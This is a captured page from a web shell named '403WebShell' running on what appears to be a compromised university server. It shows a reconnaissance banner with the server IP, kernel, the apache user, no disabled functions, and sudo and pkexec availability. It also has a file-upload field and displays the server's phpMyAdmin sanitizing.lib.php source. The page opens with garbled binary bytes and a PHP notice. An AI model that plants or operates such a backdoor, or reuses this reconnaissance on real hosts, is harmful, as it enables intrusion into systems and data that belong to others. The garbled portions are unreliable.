403WebShell

h( )($6;EbBLkfu�_l� ''8;DUFKV3Dd#,?ANk&5G$/(5M\^�ms��Sb�,;R''6c2I�!\��kx�Ve�[i��Me�IYO7:nOL~�Kr�qrv�I:�BM�y��s}r��K��x)1�6@r*2�89ma��&��'ti��{~#��t)1�2<�0:^5�W.uFzQ/u}�v��vv�u��U37yDJeEJo(/�5Ds'1�:Jlu�iy�iy�hw�1;:S`^BMLOQQn,4�7C�8C�>Lfe�]k�[i�Zg��IW�LZ�EP;,.��Tc�q(0) G,/]/1��w�r��l&-t*3�<<�u��#��j&.u��J68\8?"#$%&'()*+,-./0 !
Notice: Undefined index: dl in /var/www/html/web/simple.mini.php on line 1
403WebShell403Webshell

Server IP : 10.254.12.21 / Your IP : 10.254.12.21
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40
System : Linux arit.skru.ac.th 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON | cURL : ON | WGET : OFF | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON
Directory : /usr/share/phpMyAdmin/libraries/

Upload File :

[ Back ]

Current File : /usr/share/phpMyAdmin/libraries/sanitizing.lib.php

<?php
/* vim: set expandtab sw=4 ts=4 sts=4: */
/**
 * This is in a separate script because it's called from a number of scripts
 *
 * @package PhpMyAdmin
 */
if (! defined('PHPMYADMIN')) {
    exit;
}

/**
 * Checks whether given link is valid
 *
 * @param string  $url   URL to check
 * @param boolean $http  Whether to allow http links
 * @param boolean $other Whether to allow ftp and mailto links
 *
 * @return boolean True if string can be used as link
 */
function PMA_checkLink($url, $http=false, $other=false)
{
    $url = strtolower($url);
    $valid_starts = array(
        'https://',
        './url.php?url=https%3a%2f%2f',
        './doc/html/',
        # possible values from $GLOBALS['cfg']['DefaultTabTable'] and $GLOBALS['cfg']['DefaultTabDatabase']
        './index.php?',
        './server_databases.php?',
        './server_status.php?',
        './server_variables.php?',
        './server_privileges.php?',
        './db_structure.php?',
        './db_sql.php?',
        './db_search.php?',
        './db_operations.php?',
        './tbl_structure.php?',
        './tbl_sql.php?',
        './tbl_select.php?',
        './tbl_change.php?',
        './sql.php?',
        # Hardcoded options in libraries/special_schema_links.lib.php
        './db_events.php?',
        './db_routines.php?',
        './server_privileges.php?',
        './tbl_structure.php?',
    );
    if ($other) {
        $valid_starts[] = 'mailto:';
        $valid_starts[] = 'ftp://';
    }
    if ($http) {
        $valid_starts[] = 'http://';
    }
    if (defined('PMA_SETUP')) {
        $valid_starts[] = '?page=form&';
        $valid_starts[] = '?page=servers&';
    }
    foreach ($valid_starts as $val) {
        if (substr($url, 0, strlen($val)) == $val) {
            return true;
        }
    }
    return false;
}

/**
 * Callback function for replacing [a@link@target] links in bb code.
 *
 * @param array $found Array of preg matches
 *
 * @return string Replaced string
 */
function PMA_replaceBBLink($found)
{
    /* Check for valid link */
    if (! PMA_checkLink($found[1])) {
        return $found[0];
    }
    /* a-z and _ allowed in target */
    if (! empty($found[3]) && preg_match('/[^a-z_]+/i', $found[3])) {
        return $found[0];
    }

    /* Construct target */
    $target = '';
    if (! empty($found[3])) {
        $target = ' target="' . $found[3] . '"';
        if ($found[3] == '_blank') {
            $target .= ' rel="noopener noreferrer"';
        }
    }

    /* Construct url */
    if (substr($found[1], 0, 4) == 'http') {
        $url = PMA_linkURL($found[1]);
    } else {
        $url = $found[1];
    }

    return '<a href="' . $url . '"' . $target . '>';
}

/**
 * Callback function for replacing [doc@anchor] links in bb code.
 *
 * @param array $found Array of preg matches
 *
 * @return string Replaced string
 */
function PMA_replaceDocLink($found)
{
    $anchor = $found[1];
    if (strncmp('faq', $anchor, 3) == 0) {
        $page = 'faq';
    } else if (strncmp('cfg', $anchor, 3) == 0) {
        $page = 'cfg';
    } else {
        /* Guess */
        $page = 'setup';
    }
    $link = PMA_Util::getDocuLink($page, $anchor);
    return '<a href="' . $link . '" target="documentation">';
}

/**
 * Sanitizes $message, taking into account our special codes
 * for formatting.
 *
 * If you want to include result in element attribute, you should escape it.
 *
 * Examples:
 *
 * <p><?php echo PMA_sanitize($foo); ?></p>
 *
 * <a title="<?php echo PMA_sanitize($foo, true); ?>">bar</a>
 *
 * @param string  $message the message
 * @param boolean $escape  whether to escape html in result
 * @param boolean $safe    whether string is safe (can keep < and > chars)
 *
 * @return string   the sanitized message
 */
function PMA_sanitize($message, $escape = false, $safe = false)
{
    if (!$safe) {
        $message = strtr($message, array('<' => '&lt;', '>' => '&gt;'));
    }

    /* Interpret bb code */
    $replace_pairs = array(
        '[em]'      => '<em>',
        '[/em]'     => '</em>',
        '[strong]'  => '<strong>',
        '[/strong]' => '</strong>',
        '[code]'    => '<code>',
        '[/code]'   => '</code>',
        '[kbd]'     => '<kbd>',
        '[/kbd]'    => '</kbd>',
        '[br]'      => '<br />',
        '[/a]'      => '</a>',
        '[/doc]'      => '</a>',
        '[sup]'     => '<sup>',
        '[/sup]'    => '</sup>',
         // used in common.inc.php:
        '[conferr]' => '<iframe src="show_config_errors.php" />',
    );

    $message = strtr($message, $replace_pairs);

    /* Match links in bb code ([a@url@target], where @target is options) */
    $pattern = '/\[a@([^]"@]*)(@([^]"]*))?\]/';

    /* Find and replace all links */
    $message = preg_replace_callback($pattern, 'PMA_replaceBBLink', $message);

    /* Replace documentation links */
    $message = preg_replace_callback(
        '/\[doc@([a-zA-Z0-9_-]+)\]/',
        'PMA_replaceDocLink',
        $message
    );

    /* Possibly escape result */
    if ($escape) {
        $message = htmlspecialchars($message);
    }

    return $message;
}


/**
 * Sanitize a filename by removing anything besides legit characters
 *
 * Intended usecase:
 *    When using a filename in a Content-Disposition header
 *    the value should not contain ; or "
 *
 *    When exporting, avoiding generation of an unexpected double-extension file
 *
 * @param string  $filename    The filename
 * @param boolean $replaceDots Whether to also replace dots
 *
 * @return string  the sanitized filename
 *
 */
function PMA_sanitizeFilename($filename, $replaceDots = false)
{
    $pattern = '/[^A-Za-z0-9_';
    // if we don't have to replace dots
    if (! $replaceDots) {
        // then add the dot to the list of legit characters
        $pattern .= '.';
    }
    $pattern .= '-]/';
    $filename = preg_replace($pattern, '_', $filename);
    return $filename;
}

?>

Youez - 2016 - github.com/yon3zu
LinuXploit